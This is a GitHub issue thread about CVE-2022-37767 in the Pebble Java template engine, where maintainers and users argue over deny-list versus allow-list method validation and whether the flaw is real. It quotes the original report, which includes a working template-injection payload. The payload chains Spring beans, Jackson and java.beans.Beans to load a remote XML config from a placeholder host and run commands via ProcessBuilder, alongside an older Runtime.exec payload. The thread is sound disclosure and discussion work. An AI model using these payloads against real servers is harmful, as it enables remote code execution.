pebble
pebble copied to clipboard
Vulnerability CVE-2022-37767
Hello,
since this morning security checks in our projects are reporting new critical vulnerability in the current pebble version 3.1.5: NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-37767 Original report: https://github.com/Y4tacker/Web-Security/issues/3
Any short-term workaround to mitigate the vulnerability?
IMHO, using deny lists is an error and pebble should switch to using allow lists instead: the end-user should be responsible of deciding which classes are safe and which are not.
@ebussieres WDYT?
We already had a conversation on this https://github.com/PebbleTemplates/pebble/pull/494#issuecomment-629691422
@ebussieres Sorry I couldn't get to any conclusion looking at #494. Do you mean the reported CVE is already addressed? or Is it in your pipeline to resolve?
+1 This CVE is breaking the build in any corporate environment and it's a bit sad that it's not taken serious.
Disclaimer: I'm just an occasional contributor here
@chaitu0292 No, this CVE is not addressed. IMHO, the blacklist approach that was picked cannot possibly cover all possible security leaks and only a whitelist approach where the user explicitly lists what's needed in his templates can work. But maybe I'm missing something.
@rumfuddle Then, corporate users who depend on this library should not stay idle and wait for some open-source volunteers to tackle this issue on their free time. They should contribute, either in manpower or financially.
@rumfuddle Then, corporate users who depend on this library should not stay idle and wait for some open-source volunteers to tackle this issue on their free time. They should contribute, either in manpower or financially.
Fair point, but if the PR consists of just an upgrade of the dependency containing the CVE, will you approve?
@rumfuddle No it's not just an upgrade of a dependency. You need to define a MethodAccessValidator implementation
Then If you use pebble-spring:
- Define a bean which implements
MethodAccessValidator
@Bean
public MethodAccessValidator methodAccessValidator() {
return new BlacklistMethodAccessValidator(); //Provide your custom implementation
}
If not
- override the default MethodAccessValidator in PebbleEngine
new PebbleEngine.Builder()
.methodAccessValidator(new BlacklistMethodAccessValidator()) //Provide your custom implementation
.build();
The complexity resides in the implementation. If we provide a WhitelistMethodAccessValidator, we'll need to whitelist a lot of things (jdk, spring etc.). See this comment
I'm all ears open for suggestions
we'll need to whitelist a lot of things (jdk, spring etc.)
jdk
Indeed, core classes and Java collections are often used in pebble templates.
spring
This I don't get, sorry. Why should it be possible for a user to have access by default to Spring core classes in his pebble templates? @ebussieres Could you please elaborate?
My2cents:
It's possible to harden a default configuration for a known subset of classes, typically the JDK. It's not possible for frameworks such as Spring.
Pebble can provide a sensible default configuration that grants access to all java.lang
and java.util
packages, with a few exceptions like Thread
and getClass
like it's currently implemented that would have higher priority.
For all other classes and methods, the user would have to explicitly list what he wants to enable, typically his POJOs and utils.
@ebussieres WDYT?
My apologies for my earlier comment. I only now found the time to look at the issue (I got it confused with a Apache commons vulnerability), and I can see the complexity. For my use case, whitelisting whereby the default whitelist is even empty and the user is required to add "everything" would unblock us but I also appreciate the fact that you need to consider backwards compatibility with the current implementation. And the opposite, blacklisting would not make the CVE go away I guess.
And the opposite, blacklisting would not make the CVE go away I guess.
Exactly.
Then, please remember that CVE severity is only determined based on the potential impact if someone was able to exploit it. It doesn't provide any context about the conditions for being able to exploit it. In this case, the only way to exploit is that the templates are generated from an untrusted source, eg having a system that publishes templates in a directory and have the Spring application load them from the filesystem. If your templates are shipped with your application code by your developers, your developers can't do more harm this way than what they can already do with malicious code in their Java code.
In our use case, templates are 'data', provided by endusers but at least endusers that have to authenticate and that we trust. So I'm not that worried about exploits. Bigger problem is Nexus. The CVE is level critical, so we cannot perform any build&deploys until this is fixed.
side note: when we'll have a fix, I don't know how we'll be able to update the CVE.
@ebussieres did @Y4tacker reach out before publishing his post? Did the CVE author reach out before creating it?
side note: when we'll have a fix, I don't know how we'll be able to update the CVE.
@ebussieres did @Y4tacker reach out before publishing his post? Did the CVE author reach out before creating it?
ok,sorry for that. for I didnt find anyway to contacts you in your website(https://pebbletemplates.io/),other Used to go to the official website to find contact information(such as shiro they have https://shiro.apache.org/security-reports.html)
@Y4tacker Pet projects can't be expected to have well-defined processes like the ones hosted at the Apache Foundation (those are actually requirements to get hosted there).
A typical flow is to reach out with an issue on the public repo and then get invited to a private one and share the details there.
Are you the one who opened the CVE or is it someone else?
@Y4tacker Pet projects can't be expected to have well-defined processes like the ones hosted at the Apache Foundation (those are actually requirements to get hosted there).
A typical flow is to reach out with an issue on the public repo and then get invited to a private one and share the details there.
Are you the one who opened the CVE or is it someone else?
Ok,I got it.
@Y4tacker The link referenced in the CVE, https://github.com/Y4tacker/Web-Security/issues/3, is not public. Can you update the CVE to point to a valid link?
Is there any chance this gets resolved any time soon? I am also willing to contribute. As @rumfuddle mentioned, it breaks any corporate build.
To me this vulnerability would only exhibit itself in scenarios in which the application accepts the input and then directly evaluates it as the template which is a horribly bad practice.
In the most common case when the templates are managed by the development team the chance of doing any harm is really low. Why would anyone want to execute code from the hand-crafted developer managed template if one could do the same system call directly from the Java code itself.
@ebussieres If you're considering getting this fixed some day, or at least coordinating the effort of possible contributors, you could maybe set up GitHub sponsors or some bug bounty of some sort, so that corporate users who can't contribute with time/code can contribute with money.
@slandelle @ebussieres I am willing to contribute on behalf of myself or the organization that I am part of if I know that the PR/solution will be accepted into the master.
I suggest to create a DefaultMethodAccessValidator
or StrictMethodAccessValidator
that will be active as the default MethodAccessValidator, allowing the template developers to read the properties of the of the template variables ONLY
.
The user will still be able to configure a backward compatible BlacklistMethodAccessValidator
either programatically or by setting appropriate Spring Boot starter property.
This should work flawlessly for users who use the view model approach, users who need to execute custom code from the templates will be able to set back the "old" BlacklistMethodAccessValidator
. This should solve the CVE.
Please let me know what you think.
Hard to investigate with the original report being no longer public. Does anyone have a copy?
Note: I really find incredible that the NVD does make a proper copy so it can be a reliable source of truth. Now we're left with a CVE without a description.
@Y4tacker The link referenced in the CVE, https://github.com/Y4tacker/Web-Security/issues/3, is not public. Can you update the CVE to point to a valid link?
@Y4tacker Could you please invite @ebussieres @piotrpolak and I to your repo?
@Y4tacker The link referenced in the CVE, Y4tacker/Web-Security#3, is not public. Can you update the CVE to point to a valid link?
@Y4tacker Could you please invite @ebussieres @piotrpolak and I to your repo?
ok,public
@Y4tacker Thanks! I do have a question for you: would the vulnerability be exploited without Spring?
@Y4tacker Thanks! I do have a question for you: would the vulnerability be exploited without Spring?
As of now, it should not be possible to take advantage of
ok,public
Actually, it's not. Still 404.
ok,public
Actually, it's not. Still 404.
Please get a backup, I have a lot of unwanted things in this warehouse is ready to close, now public
Please get a backup
I just did, thanks.
Then, if this repo is not made public, the link is the CVE is invalid and there's no way for anyone to know what it's about. Were you the one who created this CVE on NVD? Or is it someone else who stumbled on your repository?
COPIED FROM THE ORIGINAL REPO THAT WON'T STAY PUBLIC
================================================
Pebble Templates 3.1.5 allows attackers to bypass a protection mechanism and implement arbitrary code execution with springboot.
First, simply set up an environment with the official documentation:https://pebbletemplates.io/
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.2</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>hackingpebble</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>hackingpebble</name>
<description>hackingpebble</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>io.pebbletemplates</groupId>
<artifactId>pebble-spring-boot-starter</artifactId>
<version>3.1.5</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
com.example.hackingpebble.HackingpebbleApplication.java
package com.example.hackingpebble;
import com.mitchellbosecke.pebble.PebbleEngine;
import com.mitchellbosecke.pebble.loader.Loader;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
@SpringBootApplication
public class HackingpebbleApplication {
public static void main(String[] args) {
SpringApplication.run(HackingpebbleApplication.class, args);
}
}
com.example.hackingpebble.controller.Test.java
package com.example.hackingpebble.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class Test {
@RequestMapping({"/"})
public String getTemplate(@RequestParam String template) {
return template;
}
}
application.properties
pebble.prefix = templates
pebble.suffix = .pebble
And file structure as follows:

When we control the parameter template we can render back the specified template file.
In previous versions, in order to mitigate command execution caused by malicious content in the template,pebble introduces a new security mechanism, which is implemented through the class BlacklistMethodAccessValidator.
In this class you can see a lot of restrictions, on the one hand, restricting the class to be an instance of certain classes, and on the other hand, restricting the execution of some methods
public class BlacklistMethodAccessValidator implements MethodAccessValidator {
private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};
public BlacklistMethodAccessValidator() {
}
public boolean isMethodAccessAllowed(Object object, Method method) {
boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);
return !methodForbidden;
}
private boolean isUnsafeMethod(Method member) {
return this.isAnyOfMethods(member, FORBIDDEN_METHODS);
}
private boolean isAnyOfMethods(Method member, String... methods) {
String[] var3 = methods;
int var4 = methods.length;
for(int var5 = 0; var5 < var4; ++var5) {
String method = var3[var5];
if (this.isMethodWithName(member, method)) {
return true;
}
}
return false;
}
private boolean isMethodWithName(Method member, String method) {
return member.getName().equals(method);
}
}
Look at the old version of exploit, loading any class by Class.forName,now,no class
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd) %}
What can we do? So far we know that many instances of Spring applications are implicitly registered as beans, so can we find an object from a bean that holds a classloader object, and by getting it we can load any object by executing loadClass
By debugging we can easily export these beans objects

So we have to find some eligible beans among these classes
org.springframework.context.annotation.internalConfigurationAnnotationProcessor
org.springframework.context.annotation.internalAutowiredAnnotationProcessor
org.springframework.context.annotation.internalCommonAnnotationProcessor
org.springframework.context.event.internalEventListenerProcessor
org.springframework.context.event.internalEventListenerFactory
hackingpebbleApplication
org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory
test
org.springframework.boot.autoconfigure.AutoConfigurationPackages
org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration
propertySourcesPlaceholderConfigurer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration
websocketServletWebServerCustomizer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat
tomcatServletWebServerFactory
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration
servletWebServerFactoryCustomizer
tomcatServletWebServerFactoryCustomizer
org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor
org.springframework.boot.context.internalConfigurationPropertiesBinderFactory
org.springframework.boot.context.internalConfigurationPropertiesBinder
org.springframework.boot.context.properties.BoundConfigurationProperties
org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter
server-org.springframework.boot.autoconfigure.web.ServerProperties
webServerFactoryCustomizerBeanPostProcessor
errorPageRegistrarBeanPostProcessor
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration
dispatcherServlet
spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration
dispatcherServletRegistration
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration
org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration
taskExecutorBuilder
applicationTaskExecutor
spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration
error
beanNameViewResolver
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration
conventionErrorViewResolver
spring.web-org.springframework.boot.autoconfigure.web.WebProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration
errorAttributes
basicErrorController
errorPageCustomizer
preserveErrorControllerTargetClassPostProcessor
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration
requestMappingHandlerAdapter
welcomePageHandlerMapping
localeResolver
themeResolver
flashMapManager
mvcConversionService
mvcValidator
mvcContentNegotiationManager
requestMappingHandlerMapping
mvcPatternParser
mvcUrlPathHelper
mvcPathMatcher
viewControllerHandlerMapping
beanNameHandlerMapping
routerFunctionMapping
resourceHandlerMapping
mvcResourceUrlProvider
defaultServletHandlerMapping
handlerFunctionAdapter
mvcUriComponentsContributor
httpRequestHandlerAdapter
simpleControllerHandlerAdapter
handlerExceptionResolver
mvcViewResolver
mvcHandlerMappingIntrospector
viewNameTranslator
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter
defaultViewResolver
viewResolver
requestContextFilter
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration
formContentFilter
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration
pebbleViewResolver
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration
pebbleLoader
springExtension
pebbleEngine
pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties
org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration
mbeanExporter
objectNamingStrategy
mbeanServer
spring.jmx-org.springframework.boot.autoconfigure.jmx.JmxProperties
org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration
springApplicationAdminRegistrar
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration
forceAutoProxyCreatorToUseClassProxying
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration
org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration
applicationAvailability
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration
standardJacksonObjectMapperBuilderCustomizer
spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration
jacksonObjectMapperBuilder
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration
parameterNamesModule
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration
jacksonObjectMapper
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration
jsonComponentModule
jsonMixinModule
org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration
org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration
lifecycleProcessor
spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration
stringHttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration
mappingJackson2HttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration
messageConverters
org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration
spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties
org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration
spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties
org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor
org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration
scheduledBeanLazyInitializationExcludeFilter
taskSchedulerBuilder
spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties
org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration
restTemplateBuilderConfigurer
restTemplateBuilder
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration
tomcatWebServerFactoryCustomizer
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration
characterEncodingFilter
localeCharsetMappingsCustomizer
org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration
multipartConfigElement
multipartResolver
spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
org.springframework.aop.config.internalAutoProxyCreator
Fortunately we quickly found a class that fit the criteria and it helped us get the classloader object

It is not enough to execute loadclass, we also need to instantiate the class. And It's also very simple, there is jackson among spring's dependencies, through jackson deserialization we can easily instantiate a class.
Fortunately there is this jacksonObjectMapper object in the beans.Now we can instantiate arbitrary classes, and by being able to instantiate arbitrary classes we have bypassed the filtering restrictions
In the spring scenario we can easily think of a configuration class org.springframework.context.support.ClassPathXmlApplicationContext, which allows us to load a remote xml configuration file, through which we can easily implement the command execution.
But...
At this point you will find that any class jackson that inherits from AbstractPointcutAdvisor and AbstractApplicationContext will not be allowed to instantiate
public void validateSubType(DeserializationContext ctxt, JavaType type, BeanDescription beanDesc) throws JsonMappingException {
Class<?> raw = type.getRawClass();
String full = raw.getName();
if (!this._cfgIllegalClassNames.contains(full)) {
if (raw.isInterface()) {
return;
}
if (full.startsWith("org.springframework.")) {
Class cls = raw;
while(true) {
if (cls == null || cls == Object.class) {
return;
}
String name = cls.getSimpleName();
if ("AbstractPointcutAdvisor".equals(name) || "AbstractApplicationContext".equals(name)) {
break;
}
cls = cls.getSuperclass();
}
} else if (!full.startsWith("com.mchange.v2.c3p0.") || !full.endsWith("DataSource")) {
return;
}
}
ctxt.reportBadTypeDefinition(beanDesc, "Illegal type (%s) to deserialize: prevented for security reasons", new Object[]{full});
}
What to do at this time? We found a class called java.beans.Beans in jre.
The instantiate method of this class can help us instantiate arbitrary methods.
public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {
return Beans.instantiate(cls, beanName, null, null);
}
Here the classloader parameter is allowed to be set to empty, if it is empty later will be through the ClassLoader.getSystemClassLoader (); get, of course, in fact, we also get a classloader at the top which is not the point,It will eventually return an instantiated object based on the beanName passed in.
if (result == null) {
// No serialized object, try just instantiating the class
Class<?> cl;
try {
cl = ClassFinder.findClass(beanName, cls);
} catch (ClassNotFoundException ex) {
// There is no appropriate class. If we earlier tried to
// deserialize an object and got an IO exception, throw that,
// otherwise rethrow the ClassNotFoundException.
if (serex != null) {
throw serex;
}
throw ex;
}
if (!Modifier.isPublic(cl.getModifiers())) {
throw new ClassNotFoundException("" + cl + " : no public access");
}
/*
* Try to instantiate the class.
*/
try {
result = cl.newInstance();
} catch (Exception ex) {
// We have to remap the exception to one in our signature.
// But we pass extra information in the detail message.
throw new ClassNotFoundException("" + cl + " : " + ex, ex);
}
}
So we get the ClassPathXmlApplicationContext class that was forbidden to be instantiated by indirect means.
So by stringing these points together we can easily get the following payload
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxx.xxx.xxx/1.xml") }}
{{ yyy.refresh() }}
1.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
with http server in your vps
python3 -m http.server 80
Successfully triggered command execution by template file called rce.pebble

ok,thanks
After reviewing the report https://github.com/Y4tacker/Web-Security/issues/3 I STRONGLY disagree with calling this a Pebble vulnerability.
TLTR:
- there must be a badly designed controller allowing the user to load arbitrary template from the classpath
- the classpath template must intentionally be designed contain malicious code
- Pebble properly handles and escapes any rendered input variable
The long story:
1. Bad controller design
The first problem is in the design of the Spring MVC controller - there is no input validation and the @RequestParam String template
is being directly used as a template name.
This weakness can be exploited to load and render any classpath resource as a template and it would be a real problem no matter what templating engine is being used. In case of Pebble the list of resources that are eligible to be be loaded is being limited by pebble.prefix
and pebble.suffix
files.
On top of being fairy insecure, this approach is likely to cause tons HTTP 500 errors for situations like:
- the mismatched template names (example
you-cant-find-me-on-classpath
) - when trying to load templates that expect certain variables (example:
partials/top
)
package com.example.hackingpebble.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class Test {
@RequestMapping({"/"})
public String getTemplate(@RequestParam String template) {
// Can be used arbitrary file from the classpath LOL
return template;
}
}
2. Malicous code in the template
The second problem is in how the reporter designed resources/template/rce.pebble
template:
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd) %}
This template code is not coming from the user input but is already present on the classpath.
Why would a developer try to write a malicious code and hide it in a template if one could simply write a malicious code directly in the Java source?
4. MethodAccessValidator
BlacklistMethodAccessValidator
might not even be there, it is not used in the input validation. For systems that control the template contents (or store them locally on the classpath), as far as I understand, MethodAccessValidator
is to prevent developers from hurting themself (locking the threads or consuming system resources).
3. Conclusion
Calling this a CVE is like saying that knives are dangerous because they can be misused. CVE-2022-37767 is unlikely to exhibit itself in any application that controls own template contents.
Please consider my previous comment https://github.com/PebbleTemplates/pebble/issues/625#issuecomment-1281187930 as a potential improvement (but not as a security fix).